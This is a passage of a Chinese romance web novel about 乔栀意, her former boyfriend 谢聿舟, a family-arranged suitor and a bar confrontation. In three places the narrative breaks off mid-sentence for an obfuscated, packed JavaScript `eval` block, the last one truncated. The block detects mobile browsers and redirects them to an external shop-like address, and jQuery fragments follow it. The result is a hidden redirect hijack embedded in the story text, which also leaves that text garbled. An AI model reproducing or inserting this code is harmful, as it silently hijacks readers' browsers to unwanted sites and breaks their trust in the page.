见乔栀意双臂紧紧抱住自己,凡嵩即刻脱下自己的深灰色西装外套,披在她身上,玩笑道,“晚上风大,别冻着了。你们这些老师要是倒下了,我这资本家的画室可就开不起来了。”
乔栀意抬手抚上外套,正要脱下来还给他,凡嵩已经疾步往地下停车场方向走去了。
明瑶轻嗤一声,在身后意味深长地打趣他,“凡老板,我也很冷的好吧。怎么就不给我外套呢?”
凡嵩回头,温和笑着解释,“你不是有男朋友吗?怕你男朋友知道吃醋。”
明瑶白眼简直要翻到天上去。
这和谐美好的一幕完完全全落到马路对面的男人眼中。
司机不知道为什么今天自家老板不回家吃饭,还在车上沉默地待了这么久。
他顺着自家老板的目光向车窗外看去,忽而注意到不远处一个熟悉的身影,恭敬问,“谢总,要去送那位小姐吗?”
“不用。”
人家有人送。
夜风灌入车窗,裹挟寒意强势侵袭,谢聿舟收回视线,喉结轻滚了下,“走吧。”
说开始的是她,说结束的也是她。
一声不吭地离开那么多年,回来又轻而易举搅乱一池心湖的还是她。
“谢聿舟,我们在一起吧。”
高三那年冬天的初雪,谢聿舟骑山地车去买她爱吃的草莓蛋糕和糖炒栗子,道路湿滑,他没留神狠狠摔了一跤,摔进医院住了好几天。
某天他一睁眼,就发现乔栀意竟然出现在他的眼前。
那时两人还没在一起,中间隔着一层薄薄的窗户纸。
冰天雪地,她过来一趟,乌黑柔软的发丝上尽是融化的雪水,纤长的眼睫湿气漉漉,鼻尖冻得红彤彤的。
谢聿舟看出来她很冷,就提出他起来,让她躺着盖上被子。
乔栀意眉眼弯弯,笑得不行,哪有病号给好好的人让病床的。
她脱下外套和雪地靴,直接躺到了他的身旁,轻声说,“一起盖。”
外面白雪鹅毛般纷纷扬扬落下,窗户蒙上一层朦胧的白色冰霜。两人共同躺在一个暖呼呼的被窝,像是有了一方隔绝外界的温暖结界。
很久很久,两人侧身相卧,什么也没做,就这么四目相对看着彼此。
直到她红着脸说了一句,“谢聿舟,我们在一起吧。”
谢聿舟眉心稍动,有些不可置信,“你之前不是说毕业后吗?怎么?”
乔栀意看着他的眼睛,脸颊越来越红,像喝醉酒的晚霞,声音也越来越小,“因为······”
她把被子拉过头顶,清甜的嗓音低低地穿透纯白的被褥,“我现在有点想亲你。”
那年的初雪是开始。
“谢聿舟,我们分手吧。”
一切戛然而止。
男人缓缓睁眼,漆黑的眼眸与浓稠的夜色融为一体。
他明明感受到过她的真心喜欢,可后来她却不止一次地用行动告诉他。
那些都是错觉。
-
明瑶想去看看乔奶奶,凡嵩就先开车去了乔家。
进家门的时候,乔鸿锦和钟清芸正坐在沙发上闲聊。
乔栀意给凡嵩倒了杯茶,就带着明瑶去了乔奶奶住的房间。
钟清芸看着凡嵩,笑眯眯地问他,“这位是?”
“阿姨你好,我是栀意的朋友。”凡嵩站起身来,恭恭敬敬地回答,“今晚我们一起吃的饭,就顺路送栀意回家了。”
钟清芸点头,“你是做什么工作的啊?”
“我开了个画室,自己也会带课,总体来说工作比较自由。栀意就在我这里工作呢。”
“哦,画室啊,那你这收入怎么样呢?”
钟清芸像查户口一样连着问他好多问题,凡嵩皆是一一耐心回答。
直到乔栀意和明瑶过来,她才住了嘴。
等外人都离开,乔鸿锦才不紧不慢开口,像是在提醒什么,“你这老板家里条件一般般,还不如我们家。”
乔栀意觉得好笑,也不知道他哪来的那么大的优越感。
乔鸿锦早年是中学老师,后来半路出家,和朋友合资开了个建筑公司。
他显然不懂隔行如隔山的道理,反正在乔栀意的印象中,公司经历过好几次危机。
乔栀意冷声道,“人家好心送我回家,不是为了让你评头论足他家里条件不如你家的。”
“我就随口一说,你这么护着一个外人做什么?”乔鸿锦气急败坏,“难不成你还真看上那小子了?”
乔栀意懒得和他争辩,“我看不看得上他都和你没关系,这是我自己的事情。”
“听听,这就是我亲手养大的好闺女。”
“我是你爸!和我没关系那和谁有关系?”
乔栀意淡淡道,“也没养我多久。”
乔鸿锦气得胸腔发颤,站起身来,怒气冲冲地回了房间。
砰一声——
狠狠摔上了房门。
偌大的客厅就只剩下钟清芸和乔栀意两人。
钟清芸走过来握住乔栀意的手,拉着她坐到沙发上,语气关切,“栀意啊,你爸爸也是关心你,你别和他置气呀。”
乔栀意没说话。
她的亲生父母在她上小学时就离婚了,明面上说是没感情后和平分开。
事实到底是怎么样的,她也不知道。
钟清芸这个继母并不算是恶毒后妈,她长得温婉,说话总是温声细语,明面上对她也一直过得去。
但乔栀意心里知道,两人之间并没有什么感情,对方并不会多真心对她。
只是碍于奶奶暂时住在家里,乔栀意还是尽量在这个家维持表面和气。
要不是因为奶奶,她压根就不愿意回这个家。
钟清芸笑眯眯地问,“画室工作有点累吧,小孩子太多会不会吵得你头疼?要不然来家里公司帮忙,让你爸给你找个轻松点的职位。”
乔栀意抿了抿唇,不紧不慢问,“总经理的职位可以吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261008|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?可以的话,我明天就去。”
钟清芸一下就不说话了。
-
自从上次误打误撞送给她东西之后,乔栀意就没再见到过谢聿舟,每次放学都是家里的阿姨来接谢乐萌。
他不过来接小孩,她也就见不到他。
对方前些日子出现的寥寥几次似乎只是她的错觉。
偌大的京市,两人就像不会再有交集的平行线。
平行线脱离轨迹再次产生交集,是在一个阳光明媚的上午。
乔奶奶养在家里太久想出门了,乔栀意陪着老人家一起逛街。
老人家岁数虽大,眼睛却还很厉害。远远地,她指着前面一家高奢品牌商铺,“那个好像是你的学生,还有她爸爸。”
乔栀意顺着奶奶手指的方向看过去,只见男人侧身而站,侧脸轮廓立体利落,鼻梁高挺,身形格外颀长高大,今日难得的休闲装,一袭黑色冲锋衣桀骜气场十足。
店内暖色灯光洒下,没能给他这个人平添半分柔和。
除了乐萌,他身前还站着个打扮得时髦又贵气的女人。
她穿着件高定的小香风套装裙,身材纤秾合度,明艳的长卷发披在身后,正抬手给他整理脖子上的围巾。
远远的,乔栀意没完全看清楚女人的模样,但从对方格外优越的侧脸也可以看出是个十分漂亮的女人。
乔奶奶顺势说,“看人家一家三口多幸福。小满啊,奶奶真的希望有一天看到你那么幸福。”
后来乔奶奶还说了什么,乔栀意听的不太真切了。
彷佛驻足了很久,其实不过片刻的光阴。
“奶奶,你放心。”
“你一定能看到那天的。”
她收回视线,低睫看着街道画着不规则涂鸦的地面,扶着乔奶奶走向另一个方向。
店内。
几名西装革履的店员站得恭恭敬敬,脸上标准的迎客微笑,只在客人有需求喊他们时才敢上前搭腔。
“服了,再也不陪你逛街了。”谢聿舟扯下脖子上的黑白格围巾,对于被当成模特的行为很不满,“老拿我当实验品,这都是些什么玩意儿。”
难得有时间一起出来,谢白芷笑眯眯地哄着,“我们家阿舟天生衣架子,身上披麻袋都好看,别人我还不让他陪呢。”
谢聿舟单手抄兜,散漫道:“彩虹屁也不行。仅此一次,下不为例了。”
谢乐萌忽然看着远处惊呼一声。
“咦?那个是不是乔老师啊?”
谢聿舟眉心稍动,偏过头去,只能看到一个袅袅婷婷离去的背影。
但他一眼就认出,那就是她。
他的目光停留太久,谢白芷察觉出异样,“乐萌的老师?你认识?”
男人薄唇紧抿,方才脸上散漫闲适的笑意在此刻消失得无影无踪,周遭的空气似乎都冷了下来。
谢乐萌扬起脸小声说,“妈妈,我觉得舅舅和乔老师认识,但舅舅非要说不认识。”
谢白芷弯下腰把谢乐萌抱起来,好奇地问她,“是吗?乐萌怎么会这么觉得呢?”
谢乐萌贴着谢白芷的耳朵,悄悄说,“舅舅之前买东西让我送给乔老师,还要我不要告诉乔老师是他买的。”
谢白芷像是发现了什么惊天大秘密。
这些年亲朋好友给谢聿舟安排的联姻对象他是一个也不见,追上门的名门千金一概不理,像是对女人不感兴趣似的。
这可把谢家长辈急坏了,说今年过年绑也要给他绑去见几个。
关于谢聿舟的终身大事,连她这个做姐姐的也少不了操心。
她眯了眯眼睛,猜测着:“你不会是看上乐萌的老师了吧?”
“我说呢,怎么前段时间推掉慈善晚会也要去接乐萌。原来是醉翁之意不在酒啊。”
谢白芷突然又反应过来,“哎,不对呀。我们谢家的男人追小姑娘不得轰轰烈烈的嘛?你这么偷偷摸摸做什么?”
谢乐萌捂着嘴巴,用气音说着八卦,“乔老师好像有男朋友了,就是我们画室的凡老师。”
谢白芷笑得不行,“你知道什么叫男朋友吗?”
谢乐萌眨着圆溜溜的眼睛,甜糯的声音不自觉大了起来:“我知道,男朋友就是,可以对乔老师亲亲抱抱举高高的人。”
这话一出,谢白芷敏锐察觉到,身旁男人的脸色愈加沉冷了。
10. 第十章
逛了一上午,乔奶奶收获了孙女儿买的一顶喜气洋洋的冬季厚帽子和一件羽绒服。
眼瞧着到了午饭时间,祖孙两人才一起回家。
乘电梯时,乔奶奶拧着眉头“嘶”了声,乔栀意注意到老人家手按在腹部,慌得不行,“怎么了?是肚子又疼了吗?”
乔奶奶摇头,轻声解释,“不是,刀疤那里突然疼了一下。”
乔栀意秀眉蹙起,“今天就不该出门的。”
乔奶奶哎呀一声,“再不出门我都要发霉了。没什么事儿的,瞧你大惊小怪的。”
推开家门的那一瞬,乔栀意发现今天家里多了一位客人。
男人年纪明显比她稍长,肩背挺直,坐姿斯文。
黑色衬衫墨蓝色西装,利落短发梳成背头,金丝边眼镜,整体看上去有种一丝不苟的沉稳肃冷。
沙发上三个人的目光齐刷刷看向她。
钟清芸即刻向双方介绍着彼此。
男人叫沈闻彬,是乔鸿锦生意伙伴的儿子,家里条件不错,有个房地产公司,今天是特意过来看望乔奶奶的。
饭桌上,沈闻彬一直在关心询问乔奶奶的身体,乔奶奶说就刀疤处今天疼了一下。
“那奶奶你这要及时联系主刀医生或者回手术医院复查,医院那边能通过体格检查判断疼痛原因,排除粘连性肠梗阻或其他并发症。”
乔鸿锦皱着眉,“当时出院报告上写的这个手术做得挺成功的,还会有什么并发症吗?”
沈闻彬不紧不慢解释:“切口感染,血肿都有可能。当然也有可能是由于活动牵拉造成的,什么事都没有,具体的还要去医院检查过才能确定。”
乔栀意看着乔奶奶,“奶奶,我们明天去医院检查一下吧?”
钟清芸:“明天我和你爸要出席一个应酬,要不然后天吧?”
沈闻彬看着乔栀意,镜片后的那双眼睛深邃幽静,“检查这事情还是早做早好。明天我没什么事情,要不然我陪你们一起去?”
乔栀意还没发话,乔奶奶便笑着婉拒,“那多不好意思,我知道你们这些年轻人工作忙的很,明天我和小满一起去就行了。”
“老人家你别客气,我明天真的不忙。”沈闻彬慢条斯理地说,“我爷爷身体也不怎么好,我经常陪他去医院,对检查流程熟。”
“行,那就麻烦你了。”乔栀意点头。
“不麻烦,应该的。”沈闻彬微微勾唇。
饭局接近尾声,沈闻彬抬眼看了下腕表,跟乔栀意说,“那今天我就先走一步了,明天早上来接你们。”
乔栀意微微颔首。
等男人离开,钟清芸小心翼翼地问乔栀意,“栀意,你对沈公子印象怎么样啊?”
她忍不住多说了沈闻彬几句好话,“论相貌、论家世、论谈吐,比起那画室老板都不差吧?”
乔栀意这才反应过来不对劲的地方,蹙眉问她,“所以今天这是你给我安排的相亲?”
钟清芸眼瞧着乔栀意脸色不好,连忙否认掩饰,“不是呀栀意,今天人家就是特意过来看奶奶的。我只是看你们聊的还不错,多说了几句。”
乔栀意对沈闻彬并没有任何感觉。
但不得不说,他对老人家的态度给他本人加了不少分。
她无端又想到上午看到谢聿舟的场景。
虽然上次他似乎否认了乐萌是他的孩子,他身旁的女人也不知道是不是他的女朋友。
但这些好像与她关系都不大。
两人重逢后的那一池春水或许泛起过一点点涟漪,但很快就重归于死一般的沉寂。
当初她那样决绝地分手离开,他也说过不是非她不可这样的话。
时过境迁,他们再没可能回到当初。
她早该认清楚这一点。
乔栀意垂下眼睫,头脑似乎越发清醒。
和一个不爱的人结婚,好像也没什么不好的,起码可以很轻易地抽身。
奶奶年龄的确是大了,身体也大不如从前了。
他能和她相敬如宾,让奶奶看到她幸福的那一天最好。
如果不能,她一开始就对他没有什么期待,也就不会有任何的失望。
钟清芸还以为乔栀意又要生气做出什么举动了,没想到这次她居然异常平静地看着乔奶奶说,“我可以试着和他多相处一下。”
钟清芸和乔鸿锦这下都高兴坏了。
“太好了,栀意,你能想通就好。”
“天大的喜事。”
乔奶奶却并不如料想中那般高兴,她领着孙女儿来到房间,关上门问,“今天这是怎么了?这么容易就愿意和人多相处了?”
老人家说了个时髦的词,“一见钟情?”
乔栀意笑出声来,“奶奶你还知道这个词呢。”
“我愿意和人相处你不是应该高兴吗?说不定很快就能看到我结婚了。怎么还这么问?”
乔奶奶拍了拍孙女儿的手,“说了多少遍了,奶奶是想看到你幸福,不是想看到你结婚。”
“差不多吧。”
“差得多!”
“这个沈公子看着人还算靠谱,各方面条件也不错,勉强配得上我家小满,是可以多相处相处。不过——”
乔奶奶话锋一转,又语重心长地说,“要是你实在不喜欢人家就不要勉强自己。相处不来,咱们就换下一个,总有合适的。”
乔栀意低睫,轻轻嗯了声。
翌日早晨,沈闻彬如期陪乔奶奶和乔栀意一起去医院检查。
检查结束,沈闻彬首先将乔奶奶送回了家,又邀请乔栀意一起共进午餐。
他开车带她来到了一家环境优雅的西餐厅。
小提琴演奏声悠扬,餐桌上摆着一束鲜红的卡罗拉玫瑰,花瓣还带着水珠。
穿衬衫马甲的侍者递过来菜单,他接过菜单自顾自点菜。
菜上齐,沈闻彬注意到乔栀意并没有开动的意思,问她,“怎么了?没胃口吗?”
乔栀意嗯了声,“在国外待了七年,这些都有点吃腻了。”
沈闻彬不好意思地笑了下,“是我没有考虑周到,下次我一定记得带你去中餐厅。”
“没事。”乔栀意给面子地拿起桌上的刀叉,开始切牛排,象征性地吃了几口。
她忽然就想起前些日子乐萌送给她的晚餐,糖醋小排、可乐鸡翅还有藕片炒肉,简简单单的家常菜,但出乎意料的好吃,也不知道是在哪买的。
午饭后两人又去附近的公园散了会儿步。
太阳逐渐西沉,空气中冷意更深,乔栀意看了下时间,说要去画室上课。
沈闻彬开车送她。
白色保时捷疾驰在马路上,车轮轧过一地凋零的落叶。
沈闻彬手搭在方向盘上,随意和她闲聊,“乔老师,那么多小孩子不好带吧?会不会很吵?”
乔栀意看着车窗外飞速后退的风景:“还行,大部分时候是可爱的。”
他笑:“以后我的妻子可以不用抛头露面,我完全能够养她。她只需要在家做全职太太,每天开开心心的就好了。”
“你说养她,能养她一辈子吗?万一哪天你和她离婚了,她是不是就什么都没有了?”
乔栀意收回视线,看着驾驶座的男人,忽然就话多了起来。
她说话语速慢慢的,却字字清晰有力量感,“退一万步来说,你真的养她一辈子,她天天在家待着就一定开心吗?”
沈闻彬没想到,自己随口一说的话能引起对方这么多的质问和反驳。
她似乎并不像她父母所说的那样乖顺温和。
“看来乔小姐对婚后生活很有自己的想法。”
乔栀意:“婚后两个字可以去掉。”
沈闻彬笑了一下,忽然就觉得眼前这个女孩很有意思。
他开始好奇她的感情生活,“你父母说你从来没谈过恋爱,这是真的吗?”
“假的,”乔栀意十分坦诚,“他们不了解我。”
沈闻彬直接笑出了声,“我就说,乔小姐这么漂亮优秀,怎么可能一次恋爱都没谈过。”
他知道乔栀意高中毕业就去了美国,才从美国回来,想当然地猜测,“谈的美国佬?回国后就分手了?”
“不是,高中时候谈的,出国就分手了。”
沈闻彬是越聊越觉得好奇,也为她的坦诚而惊讶,“高中谈的?谈了几个?让我来猜猜——”
要是按照他最开始对乔栀意的印象,他肯定不会猜很多个。
她喜欢穿各种低饱和度颜色的长裙,长发柔滑如绸缎,不说话的时候,看上去格外清冷又安静。
可一开起口来,又总是语出惊人。
以至于现在,他就忍不住往多了猜,“十几个?还是几十个?”
这下换乔栀意笑出声来了,“我看上去有那么滥情吗?”
她收了收扬起的嘴角,认真回答,“就一个。”
又是完全相反的答案,沈闻彬心中感叹,聊了半天他对她的了解好像一点也没增加。
他妄自揣测,“就仅仅因为受不了异地恋就分手了?你们那时候果然还是太年轻,完全经不住考验。”
“我有点好奇,”沈闻彬顿了下,继续问,“你那个前任了解你吗?”
高中那时谢聿舟应该算是最了解她的人了吧。
他了解她真实叛逆的那一面,连明瑶都不知道她做过的很多叛逆的事情。
可她最可恶的地方,他还不知道。
她没让他知道。
乔栀意不想再谈论这个话题,就随口把话题扯到他的身上,“你呢?沈先生谈过几个女朋友?”
“我说没谈过你信吗?”
“不信。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261009|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈闻彬没忍住又笑了下,这才坦诚回答,“和你一样,一个。”
他陷入回忆,“大学时候谈的,毕业了她要回老家工作,就和平分手了。”
乔栀意默然片刻,又问:“之后就没再谈恋爱了?是因为对初恋念念不忘?”
沈闻彬云淡风轻的语气:“乔小姐可别想太多,之后我是因为忙着工作。”
“初恋怎么了,都是过去式了,没什么好念念不忘的。”
乔栀意目视前方道路,没再说话。
确实,没什么好念念不忘的。
前方几百米就是画室。
画室门前停着一辆迷雾灰紫色法拉利,一个戴着墨镜的漂亮女人从车后座下来,紧接着是谢乐萌。
女人弯腰摸了摸谢乐萌的脑袋,跟她说了一会儿话,谢乐萌乖巧地点着头。
等女人上了车离开后,乔栀意才想起,她好像见过这个人,就是那天站在谢聿舟身前的女人。
沈闻彬将乔栀意送到画室便驱车离开。
乔栀意刚走到画室门口,谢乐萌就小跑到她身边。
谢乐萌谨记妈妈交给自己的任务,直白说,“乔老师,你要是和凡老师分手了,一定要记得告诉我哦。”
???
乔栀意弯唇笑着,“乐萌,你知道分手是什么意思吗?”
小姑娘眨了眨亮晶晶的眼睛,“我知道,就是不能随便亲亲抱抱乔老师的意思。”
乔栀意脸上笑意更甚,耐心解释,“乔老师不需要和凡老师分手,我没有和他在一起过。”
“凡老师不是乔老师的男朋友吗?”
“不是,当然不是。”
乔栀意有些无奈,这群小孩子,怎么乱传谣言呢。
不过她想起自己上学的时候,班上同学们对老师的感情生活揣测的好像也不少。
“哦耶!太好了!”
小姑娘丢下这句没头没脑的话,就兴冲冲地跑开了。
跑到画室里面,玩着她的电话手表。
这日放学,时隔多日,乔栀意竟然再一次见到了谢聿舟来接小孩。
他穿着件深咖色大衣,短发利落干净,眼眸漆黑明亮,逆着光的身形高大俊朗。
不知是不是今日夕阳晚霞太好,化开了男人些许桀骜矜冷,整个人平添了几分柔和。
他手里拿着两包果汁软糖和两朵彩虹色的棉花糖,迈着长腿不疾不徐走过来。
谢乐萌看到他手里的东西,眼睛亮的发光,明明舅舅已经好久没有给她买过糖果了。
她当即甜甜地喊了声。
“舅舅~”
乔栀意就站在谢乐萌的身旁,乍一听到这个称呼,还挺意外,脱口而出重复念着,“舅舅?”
原来他是乐萌的舅舅。
谢聿舟懒懒掀起眼皮看她一眼,吊儿郎当地来了句,“别乱喊。”
乔栀意:“······”
谢乐萌立刻拿过谢聿舟手中的糖果,“舅舅,你今天怎么这么大方啊?”
谢聿舟轻挑眉稍,“可别在外面坏你舅舅名声。我什么时候不大方了?还不是怕你蛀牙太多。”
“那舅舅今天还买这么多?”
谢乐萌眼睛笑成了月牙。又忽然想起舅舅平时教给她的,好东西要乐于分享给喜欢的人,尤其还是在她拥有这么多的情况下。
正好两份,谢乐萌觉得这太棒了,多出的那一份可不就是要送给乔老师吗?
她立刻把多出的那份糖果送到乔栀意的面前,“乔老师,这份给你吧。”
乔栀意假装谢聿舟是空气,只看着谢乐萌说话,“乐萌你自己留着吃吧,总是送乔老师东西,乔老师会不好意思的。”
“可是我不能吃这么多。”谢乐萌张开嘴巴,抬手指了指自己的黑漆漆的蛀牙,“吃太多牙齿会疼,妈妈会说我的。”
乔栀意想到今天上课前看到的那个女人,难道那个是乐萌妈妈?
她随口问了句,“乐萌妈妈今天是过来送乐萌上学了吗?”
“是的,今天我妈妈送我上学的。”
“我妈妈是我舅舅的姐姐。”
原来那个女人是他姐姐。
以前谢聿舟好像和她说过他有个姐姐,只是那时候他姐姐一直很忙,她一直没见过。
谢乐萌说起自己的家人跟话痨似的,想起平日里妈妈教她的一些知识,炫耀似的打开话匣子,“妈妈的妈妈叫外婆,妈妈的爸爸叫外公,爸爸的妈妈叫奶奶,爸爸的爸爸叫爷爷。”
乔栀意被小姑娘逗笑,忽然又想到,“那乐萌你是跟你妈妈姓啊?”
谢乐萌连连点头,“是的,我跟我妈妈姓。”
小姑娘话音刚落,乔栀意就瞥见身旁男人深邃淡漠的目光投过来,不紧不慢来了句:
“我以后的孩子也可以跟他妈妈姓。”
11. 第十一章
两天后。
一大早沈闻彬就来乔家接乔栀意一起到医院拿乔奶奶的检查报告。
看到检查结果,乔栀意总算松了口气。
乔奶奶并无大碍,只是平时需要注意不要过度活动牵拉到伤口。
乔栀意拿着检查报告单,跟沈闻彬道谢,“辛苦了,这么一大早就过来了。”
“小事,”沈闻彬推了推鼻梁上的金丝边眼镜,“我爷爷今天也到医院来了,我正好去看他。”
两人一起往电梯走,乔栀意问他,“爷爷怎么了?”
“没什么大事,脊椎有点问题,昨天就来住院了。”
乔栀意忽然就想到了自己的爷爷,也是出于感谢沈闻彬对乔奶奶的关心:“我和你一起去看看爷爷吧。”
在去沈老爷子病房的路上,沈闻彬给乔栀意讲了些家里的事情。
沈家家业是由沈老爷子白手起家,亲自打拼出来的。老人家没享到什么福不说,到老年时身上倒是落得不少毛病。
沈老爷子从前闲下来的时候就喜欢看电视,如今年龄大了老眼昏花,电视屏幕也看不清楚了。
乔栀意听完感叹:“沈老爷子一个人白手起家的吗?老人家可真厉害。”
沈闻彬笑,“乔董也是自己创业的吧?”
“嗯,他是和朋友一起的。”乔栀意说,“我之后也打算自己开个服装设计工作室,能先跟你取取经吗?”
既然奶奶身体好的差不多了,她也要慢慢开始准备工作室的事项了。
乔鸿锦从来没有教过她公司的管理事项,不注重把她往商业人才方面培养。
她在美国办过私人服装设计展览,选修了商学、管理学等课程,也承接过大型的服装设计业务,该有的专业素质都有。
可自己创业并不是一个简单的事情,资金运转、团队合作、市场嗅觉等等,她需要进一步学习的地方太多了。
沈闻彬有些惊讶,“你以后不去自家的公司吗?”
乔栀意笑:“去的话我还这样问你吗?”
经过几次相处,沈闻彬可以得出结论,乔栀意与她父亲的关系很一般。
他也不再问她为什么不跟自己父亲取经了,“行,乔小姐尽管问。我必定知无不言言无不尽。”
谈笑间,两人到了沈老爷子的病房。
老人家白发斑斑,身形消瘦,双手交叠躺在病床上,布满皱纹的脸上笑意淡淡。
乔爷爷去世好多年了,乔栀意时常会想他,就没忍住和沈老爷子多聊了会儿天。
闲聊了一会儿后,乔栀意得知沈老爷子从前眼睛好的时候最爱看的是《西游记》。
她就搬个椅子坐在一旁,手机搜出电子版的《西游记》,绘声绘色给他念着故事,老人家听得止不住发笑。
阳光穿透病房的窗户,柔和地洒在她白净的脸上,细小的绒毛被照得透明。
女孩侧脸线条柔和,漆黑眼睫轻扇,她穿着件鹅黄色的旗袍,坐姿笔挺,身形凹凸玲珑有致。
本是清冷疏离的古典美人长相,却又因为笑容和话语显得格外明艳。
沈闻彬不知道为什么清冷和明艳这两个词能放到一个人身上,又融合得那么好的。
反正就是好看。
她乌黑的长发随意低盘在脑后,几缕掉落在脸颊旁,随着微风轻轻地拂动。
沈闻彬看得有些恍惚。
竟突然有一种,伸手为她拨弄碎发的冲动。
乔栀意念完一章的故事,就发现沈闻彬站到了她的身旁。
他手轻抬了下,又很快收回去,深邃眼眸一眨不眨看着她:
“今晚有空吗?一起去wilens酒吧喝两杯?你不是要问一些工作上的事情吗?”
“行。”乔栀意点头,“晚上几点?”
“九点吧,公司还有点事情,等我处理完时间应该比较晚了。”
“好,那你忙。不用来接我,我自己打车去就行。”
晚上八点四十,乔栀意提前来到wilens酒吧。
刚从出租车上下来,就注意到泊车区一个熟悉的车牌号【京A·00008】.
她没想到,今天谢聿舟竟然也在这里。
酒吧内灯光昏昧斑斓,舞台上的摇滚乐队正激情四射地表演着,一群穿着时尚清凉的青年男女在舞池里摇摆起舞,音乐声、尖叫声震耳欲聋。
乔栀意找了个位置坐下,点了几杯很漂亮的酒。
不多时,一个身材高挑的女服务员端着她点好的酒过来。
粉蓝渐变色的液体,泡着金黄色的柠檬片,最上面浮着一层白色的泡沫和冰块。
她端起高脚杯,小小抿了一口。
又酸又苦,好难喝。
她忽然想起从前和谢聿舟一起去酒吧的时候,她就喜欢点这些看起来很漂亮但味道很一般的酒,每次到最后她都是喝的他点的,他喝她点的。
这么多年,她喜欢点这种华而不实的酒的坏习惯还没有改掉。
却再没有人帮她喝掉了。
一杯酒喝完,方才还酸酸苦苦的液体,尾调竟品出了些淡淡的甜。
乔栀意的目光下意识往四处看了看。
人山人海。
她并没有看到他。
与此同时。
靠近舞池的角落处几个大男人围着坐在一桌,身旁几位豪门公子哥和坐在中间的男人闲谈,“没想到舟爷竟然喜欢喝这么温和的酒。”
一男子观察着谢聿舟手上的酒杯,粉蓝渐变色的液体,白色的泡沫和透明冰块,他感叹道,“别的不说,这颜色还怪好看的嘞。”
“好喝吗?我也来尝一尝。”
“叫什么来着?”男子又看了一眼杯壁上挂着的小木牌,挥手招来服务员,“初恋是吧?我也来尝一尝初恋是什么味道。”
谢聿舟没说话,漫不经心地晃着手里的高脚杯,锋利的喉结上下滚动,一口喝完杯里的酒。
沉冷的眸光又一次落到前方那一抹鹅黄色的身影。
手机消息声响了几下,乔栀意拿起查看。
沈闻彬:【公司有个项目出了大问题,临时加班,我今晚可能走不开。】
沈闻彬:【抱歉,我本来以为九点能结束的。】
沈闻彬:【你要是还没到酒吧,就别去了吧。】
乔栀意看到屏幕右上方的时间,已经八点五十五分了。
她平静回他:【我已经到了。】
乔栀意:【没事,你忙吧,工作要紧。】
沈闻彬:【乔小姐不会生气吧?】
乔栀意:【不会,放宽心。】
沈闻彬:【那就好,明日必定亲自登门谢罪。】
沈闻彬:【大晚上的,你最好早点回去。要不然过会我让秘书去接你?】
乔栀意:【不用了,我过会就走了。】
他放了她鸽子,她却是真的一点都没有生气的感觉。
以前谢聿舟从来没有放过她鸽子,只有一次约会堵车迟到了十五分钟,她那时好生气,毫不讲理地罚他给她写了十五封情书,他也是乖乖接受惩罚。
乔栀意觉得挺有意思。
也不知道是自己那时候脾气太差,还是现在脾气太好。
回国后她还是第一次这样一个人安安静静地喝酒,乔栀意坐了很久。
期间有好几位男人见她孤身一人,上前搭讪,都被她干脆利落地拒绝了。
她虽然喝的不少,但大多是低酒精度数,不容易醉。
就这样坐到了摇滚乐队表演结束,狂欢的人群三三两两地退场。
乔栀意拿起身旁的包,正要离开,忽然听到前方起了争执的声音。
“你别不识好歹!让你陪老子喝几杯怎么了?别人想陪老子都还没有这个福气!”
一个中年男人恶狠狠的声音。
他身材微胖,挂着啤酒肚,穿着倒是一本正经,衬衫领带,手腕上一块价值不菲的Patek Philippe腕表,看上去像是个有身份的人。
有几个人在旁边围观,但没有人插手上前。有人看了一会儿就匆匆离开了。
被他为难的女服务员头低到尘埃,连声道歉,“抱歉,这位先生,我们这里的服务员不提供陪酒服务。”
“都来酒吧上班了,你还装什么清高呢?”中年男人脸色越发难看,打了个醉醺醺的酒嗝,显然喝的不少。
酒吧老板匆匆赶来,赔着笑脸,“这位先生,我是这里的老板,您看我陪您喝几杯怎么样?”
“今天就算是天王老子来了,这个骚娘们也得陪我喝!”
酒吧老板很为难,仍旧客气道,“先生,我们这里的服务员真的没有陪客人喝酒的义务。”
中年男人一把将手上的酒泼向酒吧老板的脸,连同酒杯一起狠狠砸在他身上。
玻璃杯啪嗒一声摔到地上,摔得四分五裂。
“你们知道老子是谁吗?老子姓林!林氏地产的林!”
“你再嚷嚷,明天全京城都该知道林氏地产大少爷酒后发疯骚扰女服务员了。”
眼前忽地多了一位身形窈窕的漂亮姑娘,男人眯了眯眼睛,轻浮孟浪的话还没来得及说出口,对方便率先发话。
乔栀意把录了全过程的手机放到包包里,一字一句警告他,“要是你不想看到林氏地产股价大跌,就别再为难人家。”
这记不轻不重的话,像平地惊雷一般,让男人瞬间像是酒醒了。
他脸色阴沉下来,没再嚷嚷,只拿起手指指着她。
像是在说,他记住她了。
事情结束,酒吧老板向乔栀意道谢,又去卫生间处理脸上身上被泼的酒。
被为难的女服务员握住乔栀意的手,带她去前台说话,“谢谢你,今晚真的很感谢你。以后你要是过来喝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 